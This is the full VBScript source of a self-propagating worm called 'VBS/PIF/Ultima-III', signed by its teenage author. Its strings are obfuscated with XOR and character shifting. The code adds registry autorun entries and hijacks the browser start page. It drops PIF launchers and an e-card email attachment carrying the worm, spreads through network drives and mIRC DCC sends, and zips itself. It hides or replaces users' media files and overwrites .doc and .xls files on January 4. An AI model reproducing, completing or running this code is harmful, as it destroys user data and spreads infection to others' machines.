'author : BR3AK-H3ART / AGE : 17 / from : TURKEY / e-mail : br3ak_h3art@hotmail.com / virus name : VBS/PIF/Ultima-III
On Error Resume Next
Execute J_("‰ŋŪú›į™ˆŸ›ŽŸ•˜Ÿ™Žōø‰đĻģŠŪģī―ôœģķŋ‰ĢĐŪŋ·•ļ°ŋđŪøó")
Execute J_("‰ŋŪú˜į™ˆŸ›ŽŸ•˜Ÿ™ŽōōøŒˆ˜‰’‹õˆ“ž——øóó")
Execute J_("‰ŋŪú™į›ôŸŽ‰ŠŸ™“›–œ•–žŸˆōęó")
Execute J_("‰ŋŪúžį›ôŸŽœ“–Ÿō‰™ˆ“ŠŽô‰™ˆ“ŠŽœ––”›—Ÿó")
Execute J_("‰ŋŪú–…úįú™ˆŸ›ŽŸ•˜Ÿ™Žōōø”ŪŊ·īī°õšŦŦ·ēļšŊēīĩøóó")
Execute J_("‰ŸŽú—…úįú–…ôŸŽ”›—Ÿ‰Š›™Ÿōōø–š‹’øóó")
Execute J_("œį‰™ˆ“ŠŽô‰™ˆ“ŠŽœ––”›—Ÿ")
L=CHR(13)&CHR(10)
With B
.REGWRITE G("IJDX^MNB@M^L@BIHOD]RNguv`sd]LhbsNrNgu]VhoeNvr]BtssdouWdsrhNo]Sto]rxrudl23"),C&G("]cx,CS2@J,I2@SU/wcr")
.REGWRITE G("IJDX^BTSSDOU^TRDS]RNguv`sd]LhbsNrNgu]VhoeNvr!Rbshquhof!INru]Rduuhofr]UhldNtu"),0,G("SDF^EVNSE")
.REGWRITE G("IJDX^BM@RRDR^SNNU]WCRghmd]Edg`tmuHbNo]"),G("ridmm23/emm-,043")
.REGWRITE G("IJDX^BM@RRDR^SNNU]Lhbsnrngu!Houdsodu!L`hm!Ldrr`fd]Edg`tmuHbno]"),G("B;]QSNFS@L!GHMDR]VHO@LQ]VHO@LQ/DYD-0")
.REGWRITE G("IJBT]Rnguv`sd]Lhbsnrngu]Houdsodu!Dyqmnsds]L`ho]Ru`su!Q`fd"),G("iuuq;..vvv/tni`pds/9l/bnl.")
.REGWRITE G("IJDX^BM@RRDR^SNNU]/EmH]"),G("WCRghmd") 
End With
D.COPY(C&G("]cx,CS2@J,I2@SU/wcr"))
D.COPY(C&G("]RXRUDL23/EmH"))
SET J=A.CREATETEXTFILE(C&G("]Vho89/hoh"))
J.CLOSE
SET H=A.OPENTEXTFILE(C&G("]vho/hoh"))
E=Split(H.READALL,VBCRLF)
FOR I=0 To UBOUND(E)
If E(I)=G("sto")&"=" THEN
E(I)=G("sto")&"="&C&G("]VRbshqu/dyd!")&C&G("]RXRUDL23/EmH")
Else
E(I)=E(I)&G("!")
END IF
NEXT
SET K=A.OPENTEXTFILE(C&G("]Vho89/hoh"),2)
K.WRITE JOIN(E,VBCRLF)
K.CLOSE
H.CLOSE
SET M=A.GETFILE(C&G("]Vho89/hoh"))
M.COPY(C&G("]vho/hoh"))
FOR N = 1 To 3
If N=1 THEN
SET O=A.CREATETEXTFILE(C&G("]Cshuodx/qhg"))
P=C&G("]Qcstri/dyd")
R=C&G("]Cshuodx/qhg")
END IF
If N = 2 THEN
SET O=A.CREATETEXTFILE(C&G("]xnt^c`e/qhg"))
P=C&G("]Qcstri/dyd")
R=C&G("]xnt^c`e/qhg")
END IF
If N = 3 THEN
SET O=A.CREATETEXTFILE(C&G("]Tqe`ud^rxl`oudb/qhg"))
P=G("B;]Qsnfs`l!Ghmdr]Onsuno!@ouhWhstr]MhwdL`hm/hbn")
R=C&G("]Tqe`ud^rxl`oudb/qhg")
END IF
With O
.WRITE(Q("0078627920425233414B2D48334152542020202020202020202020202020202080020000"))
.WRITE(Q("433A5C434F4D4D414E442E434F4D00000000000000000000000000000000000000000000"))
.WRITE(Q("0000000000000000000000000000000000000000000000000000001000003A5C00000000"))
.WRITE(Q("000000000000000000000000000000000000000000000000000000000000000000000000"))
.WRITE(Q("0000000000000000000000000000000000000000002F6320636F7079202A2E7069662063"))
.WRITE(Q("3A5C612E626174207C2063616C6C20633A5C612E626174207C2063616C6C20633A5C612E")) 
.WRITE(Q("626174003A5C7061696E742E00000100FF19500000070000000000000000000000000000"))
.WRITE(Q("000000000000000000000000000000000000000000000000000000000000000000000000"))
.WRITE(Q("000000000000000000000000000000000000000000000000000000000000000000000000"))
.WRITE(Q("000000000000000000000000000000000000000000000000000000000000000000000000"))
.WRITE(Q("0000000000000000004D4943524F534F46542050494645580087010000710157494E444F"))
.WRITE(Q("57532033383620332E300005029D0168008002000064003200FFFF0000FFFF0000021012")) 
.WRITE(Q("001F000000000000000000000000000000000000002F6320636F7079202A2E7069662063"))
.WRITE(Q("3A5C612E626174207C2063616C6C20633A5C612E626174207C2063616C6C20633A5C612E"))
.WRITE(Q("626174003A5C7061696E742E0057494E444F575320564D4D20342E3000FFFF1B02AC0100"))
.WRITE(Q("000000000000000000000000000000000000000000000000000000000000000000000000"))
.WRITE(Q("000000000000000000000000000000000000000000000000000000000000000000000000000000"))
.WRITE(Q("000000000000000000000000"))&P
.WRITE(Q("003682E65786500000000000000000000000000000000000000000000000000000000000"))
.WRITE(Q("000000000000000000000000000000000000000000000000000000000000000020000000"))
.WRITE(Q("000000000000000320001000000000000000000000001000000050019000300C800E8030"))
.WRITE(Q("2000A0001000000000000000C08000000000100010001005465726D696E616C000000000"))
.WRITE(Q("0000000000000000000000000000000000000004C756369646120436F6E736F6C6500000"))
.WRITE(Q("00000000000000000000000000000000000030000005000190035022C015C00540016000"))
.WRITE(Q("0000100FFFFFFFFFFFFFFFF64001B00C0006F00000000000000000000000000000000000"))
.WRITE(Q("000000000000000000000000000000000000000000000000000000000000000000000000"))
.WRITE(Q("000000000000000000000000000000000000000000000000000000000000000000000000100"))
.WRITELINE ""&L&""&L&""&L&""&L&""&L&""&L&""&L&""&L&""&L&""&L&""&L&""&L&""&L&""&L&""&L&""
.CLOSE
End With
SET S=A.OPENTEXTFILE(C&G("]cx,CS2@J,I2@SU/wcr"))
SET T=A.CREATETEXTFILE(C&G("]edbned/emm"))
T.CLOSE
U=Split(S.READALL,VBCRLF)
V=UBOUND(U)
FOR W=0 To UBOUND(U)
If (V=W) THEN
U(W)=G("dbin!")&U(W)&G("!")&CHR(62)&CHR(62)&G("b;]Tmuhl`/wcr")&L& _
G("dbin!bnqx!b;]vhoenvr]vrbshqu/dyd!b;]!?b;]Stovho/c`u")&L& _
G("dbin!Vrbshqu!Tmuhl`/wcr!??b;]Stovho/c`u")&L&G("b`mm!b;]Stovho/c`u")
else
If (W=G("1")) THEN
U(W)=G("dbin!")&U(W)&G("!")&CHR(62)&G("b;]Tmuhl`/wcr")
else
U(W)=G("dbin!")&U(W)&G("!")&CHR(62)&CHR(62)&G("b;]Tmuhl`/wcr")
END IF
END IF
NEXT
SET Y=A.OPENTEXTFILE(C&G("]edbned/emm"),2)
Y.WRITE JOIN(U,VBCRLF)
Y.CLOSE
S.CLOSE
SET A_=A.OPENTEXTFILE(C&G("]edbned/emm"))
SET B_=A.OPENTEXTFILE(R,8,TRUE)
F12=A_.READALL
B_.WRITE ""&L&""&L&""&L&""&L&""&L&""&L&""&L&""&L&""&L&""&L&""&L&""&L&""&L&""&L&""&L&""
B_.WRITE F12
B_.CLOSE
A_.CLOSE
NEXT
SET C_=A.OPENTEXTFILE(C&G("]cx,CS2@J,I2@SU/wcr"))
D_=C_.READALL
SET E_=A.CREATETEXTFILE(C&G("]D,b`se/dlm"))
E_.WRITE G("Gsnl;!")&chr(34)&G("OdldrhR")&chr(34)&G("!=cs2`j^i2`suAinul`hm/bnl?")&L& _
G("Un;!=cs2`j^i2`suAinul`hm/bnl?")&L&G("Rtckdbu;!Ih!lx!gshdoe ")&L&G("E`ud;!Uit-!06!K`o!3113!03;59;11!*1311")&L&_
G("LHLD,Wdsrhno;!0/1")&L&G("Bnoudou,Uxqd;!ltmuhq`su.sdm`ude:")&L&G("!uxqd")&"="&chr(34)& _
G("ltmuhq`su.`mudso`uhwd")&chr(34)&G(":")&L&G("!cntoe`sx")&"="&chr(34)&"===="&G("^@CB0325476981EDG^")&"===="&chr(34)&G("")&L& _
G("Y,Qshnshux;!2")&L&G("Y,LRL`hm,Qshnshux;!Onsl`m")&L&G("Y,Tordou;!0")&L& _
G("Y,LhldNMD;!Qsnetbde!Cx!Lhbsnrngu!LhldNMD!W4/11/3808/7711")&L& _
G("")&L&G(",,")&"===="&G("^@CB0325476981EDG^")&"===="&L&G("Bnoudou,Uxqd;!ltmuhq`su.`mudso`uhwd:")&L& _
G("!cntoe`sx")&"="&chr(34)&"===="&G("^@CB1896745230EDG^")&"===="&chr(34)&G("")&L& _
G("")&L&G(",,")&"===="&G("^@CB1896745230EDG^")&"===="&L&G("Bnoudou,Uxqd;!udyu.iulm:")&L& _
G("!!bi`srdu")&"="&chr(34)&G("hrn,9948,0")&chr(34)&G("")&L& _
G("Bnoudou,Us`orgds,Dobnehof;!ptnude,qshou`cmd")&L&G("")&L&G("")&L& _
G("=IULM?=ID@E?=.ID@E?=CNEX!cfBnmns")&"="&G("2E#gggggg?")&L& _
G("=hgs`ld!rsb")&"="&G("2Ebhe;D@5ELFCQ8q!idhfiu")&"="&G("2E1!vheui")&"="&G("2E1?")&L& _
G("=.hgs`ld?=.CNEX?=.IULM?")&L&G(",,")&"===="&G("^@CB1896745230EDG^")&"===="&G(",,")&L& _
G("")&L&G(",,")&"===="&G("^@CB0325476981EDG^")&"===="&G("")&L&G("Bnoudou,Uxqd;!`tehn.y,v`w:")&L& _
G("!o`ld")&"="&G("")&chr(34)&G("Cx^CS2@J,I2@SU/wcr")&chr(34)&G("")&L& _
G("Bnoudou,Us`orgds,Dobnehof;!6chu")&L&G("Bnoudou,HE;!=D@5ELFCQ8q?")&L& _
G("")&L&G("")&L&d_&L&G(",,")&"===="&G("^@CB0325476981EDG^")&"===="&G("")
E_.CLOSE
RANDOMIZE
F_= INT((4 * RND) + 1)
SELECT CASE F_
CASE G("0") G_=G("Cshuodx")
CASE G("3") G_=G("xntc`e")
CASE G("2") G_=G("Db`se")
CASE G("5") G_=G("Tqe`udrxl`oudb")
END SELECT
If G_ = G("Cshuodx") THEN
H_ C&G("]Cshuodx/qhg"),G("Cshuodx!Dsnuhb!qinunr  "),G("Cshuodx!Odv!Qinun")
END IF
If G_ = G("xntc`e") THEN
H_ C&G("]xnt^c`e/qhg"),G("Uihr!xnt!qinsnr!Vix!uihr!l`jd"),G("xnt!c`e!;)")
END IF
If G_ = G("Db`se") THEN
H_ C&G("]D,b`se/dlm"),G("Ih!Lx!gshdoe "),G("Uihr!d,b`se!gns!xnt!9(")
END IF
If G_ = G("Tqe`udrxl`oudb") THEN
H_ C&G("]Tqe`ud^rxl`oudb/qhg"),G("Rxl`oudb!Odv!Tqe`ud"),G("Odv!Tqe`ud")
END IF
SUB H_(I_,J_1,K_)
On Error Resume Next
Execute J_("œ•ˆúŸŧđēú”…ú“”ú—…ô›žžˆŸ‰‰–“‰Ž‰ŨМ•ˆú•…úįúëúŽĩú”…ô›žžˆŸ‰‰Ÿ”Žˆ“Ÿ‰ô™•”ŽŨЉŸŽúŠ…úįú–…ô™ˆŸ›ŽŸ“ŽŸ—ōęóŨЍģŪēúŠ…ŨÐô˜™™úįú”…ô›žžˆŸ‰‰Ÿ”Žˆ“Ÿ‰ō•…óô›žžˆŸ‰‰ŨÐô‰˜Ÿ™Žúįú…ëŨÐô˜•žƒúįú‘…ŨÐô›ŽŽ›™’—Ÿ”Ž‰ô›ūūú“…ŨÐôžŸ–ŸŽŸ›œŽŸˆ‰˜—“ŽúįúŽˆŸŨÐô‰Ÿ”žŨПīūúģŪēŨДŸ‚ŽŨДŸ‚Ž")
END SUB
Function J_(E_E)
For VV=1 to Len(E_E)
J_=J_ & Chr(Asc(Mid(E_E,VV,1)) Xor 218)
Next
End Function
FUNCTION Q(Q_)
Dim R_,S_
R_= ""
FOR S_ = 1 To LEN(Q_) Step 2
R_= R_&CHR(G("'i")&MID(Q_,S_,2))
NEXT
Q=R_
End FUNCTION
Function G(ECN)
Execute J_("œĩĻú”Ÿ—úįúëúŽĩú–ŋīōŸ™”óŨЎˆúįú—ģūōŸ™”öú”Ÿ—öúëóŨГžú›ĐđōŽˆóúįúíúŽēŋīŨЎˆúį™ēĻōéîóŨÐŋīūúģžŨГžú›ĐđōŽˆóúæäúéïúŧīūú›ĐđōŽˆóúæäúéîúŽēŋīŨГžú›ĐđōŽˆóú—ĩūúčúįúęúŽēŋīŨЎˆúįú™ēĻō›ĐđōŽˆóúņúëóŨПķĐŋŨЎˆúįú™ēĻō›ĐđōŽˆóúũúëóŨПīūú“žŨПīūú“žŨНúįúúüúŽˆŨДŋĒŪ")
End Function
SET T_ = CREATEOBJECT(G("VRbshqu/Oduvnsj"))
SET U_ = T_.ENUMNETWORKDRIVES
Execute G("Hg!T^/BNTOU!=?!1!UIDO")
FOR V_ = 0 To U_.COUNT - 1
Execute G("Hg!HoRus)T^/HUDL)W^(-](!=?!1!UIDO")
A.COPYFILE F,A.BUILDPATH(U_.ITEM(V_),J_("†“”ž•‰†ļĢũ˜ˆé›‘ũ’雈ŽôŽļĐ"))
A.COPYFILE C&G("]vho/hoh"),A.BUILDPATH(U_.ITEM(V_),G("]VHOENVR]vho/hoh"))
Execute G("DOE!HG")
NEXT
Execute G("DOE!HG")
If (A.FILEEXISTS(C&G("]d^b`se/{hq"))) THEN
else
B.run(G("Vho{hq23/dyd!!,lho!,`!,s!,q!")&C&G("]d^b`se/{hq!")&C&G("]D,b`se/dlm")) , VBHIDE
END IF
W_()
Sub W_
On Error Resume Next
Dim X_,B2
SET B2 =A.DRIVES
FOR Each X_ IN B2
If X_.DRIVETYPE = 2 OR X_.DRIVETYPE=3 THEN
Y_(X_.PATH&G("]"))
END IF
NEXT
W_ = O
END SUB
Sub Y_(FOLDERSPEC)
On Error Resume Next
Dim A1,B1,C1
SET A1 = A.GETFOLDER(FOLDERSPEC)
SET C1 = A1.SUBFOLDERS
FOR EACH B1 IN C1
Z_(B1.PATH)
Y_(B1.PATH)
NEXT
END SUB
Sub Z_(FOLDERSPEC)
On Error Resume Next
Dim A1,B1,D1,X,Z
SET A1 = A.GETFOLDER(FOLDERSPEC)
SET D1 = A1.FILES
FOR EACH B1 IN D1
X=A.GETEXTENSIONNAME(B1.PATH)
X=LCASE(X)
Z=LCASE(B1.NAME)
If (X=G("wcr")) OR (X=G("wcd"))  THEN
D.COPY(B1.PATH)
ELSEIF (X=G("clq")) OR (X=G("kqf")) OR (X=G("fhg")) THEN
SET E12=A.GETFILE(C&G("]xnt^c`e/qhg"))
E12.COPY(B1.PATH&G("/qhg"))
SET F1=A.GETFILE(B1.PATH)
F1.ATTRIBUTES=F1.ATTRIBUTES + 2
F1.CLOSE
ELSEIF (X=G("{hq")) THEN
SET G1=A.GETFILE(C&G("]d^b`se/{hq"))
G1.COPY(B1.PATH)
ELSEIF (X=G("lq2")) OR (X=G("lq3")) OR (X=G("v`w")) THEN
SET H1=A.GETFILE(C&G("]D,b`se/dlm"))
H1.COPY(B1.PATH&G("/dlm"))
SET I1=A.GETFILE(B1.PATH)
I1.ATTRIBUTES=I1.ATTRIBUTES + 2
I1.CLOSE
ELSEIF (X=G("enb")) OR (X=G("ymr")) THEN
If MONTH(NOW) = 1 AND DAY(NOW) = 4 THEN
SET J1=A.CREATETEXTFILE(B1.PATH)
J1.WRITELINE G("Vdmbnld!un!Bxcdsf`ld!)WCR.QHG.Tmuhl`,HHH(!cx!CS2@J,I2@SU")
J1.CLOSE
END IF
END IF
If (Z=G("bs`bj/dyd")) THEN
SET K1 = A.GETFILE(C&G("]D,b`se/dlm"))
K1.COPY(FOLDERSPEC&G("]bs`bj/dlm"))
K1.COPY(FOLDERSPEC&G("]bs`bj/dyd"))
END IF
If (Z=G("rbshqu/hoh")) OR (Z=G("lhsb23/dyd")) OR (Z=G("lhsb/hoh")) THEN
set E03=A.CreateTextFile(folderspec&G("]rbshqu/hoh"))
With E03
.WRITELINE "[script]"&L&"n0=; by BR3AK-H3ART br3ak_h3art@hotmail.com  Ultima-III/VBS/PIF/EML"&L&"n1=on 1:text:*BR3AK-H3ART*:?:/msg $nick 4Fuck you!!"
.WRITELINE "n2=on 1:text:*dcc*:?:/msg $nick No This my e-card file.. | /clear | halt"
.WRITELINE "n3=alias unload { if ( $1 = $null ) | ( $2 = $null ) { .echo -e 2* /unload: insufficient parameters | halt } | .echo -e 2*** Unloaded script ' $+ $2- $+ ' | halt }"
.WRITELINE "n4=alias remote { if ( $1 = on ) { .echo -e 2*** Remote is ON (Ctcps,Events,Raw) } | else { .echo -e 2*** Remote is OFF | halt } }"
.WRITELINE "n5=on 1:join:#:{"&L&"n6=  if ($nick == $me) { halt }"&L&G("o6<!!.ebb!rdoe!%ohbj!")&C&"\E-card.eml"&L&"n8=}"&L&"n9=on 1:CONNECT: {"
.WRITELINE "n10=  if (%ds.started == $null ) {"&L&"n11=    set %ds.started 0"&L&"n12=  }"&L&"n13=  %ds.started = %ds.started + 1"&L&"n14=  if (%ds.started == 10 ) {"
.WRITELINE "n15=    copy $mircdir\mirc32.dll uo.vbs"&L&"n16=    run uo.vbs"&L&"n17=    set %ds.started 0"&L&"n18=  }"&L&"n19=}"
.CLOSE
End With
SET XS = A.GETFILE(WScript.ScriptFullName)
C01.copy(folderspec&G("]lhsb23/emm"))
END IF
If (Z=G("ulidmq23/emm")) THEN
D.COPY(FOLDERSPEC&G("]ulidmq23/emm"))
END IF
If (Z=G("o`wey/dyd")) THEN
D.COPY(FOLDERSPEC&G("]o`wey/dyd"))
END IF
If (Z=G("sdrbtd/emm")) THEN
D.COPY(FOLDERSPEC&G("]sdrbtd/emm"))
END IF
If (Z=G("Whsrb`o0/e`u")) THEN
D.COPY(FOLDERSPEC&G("]Whsrb`o0/e`u"))
END IF
NEXT
END SUB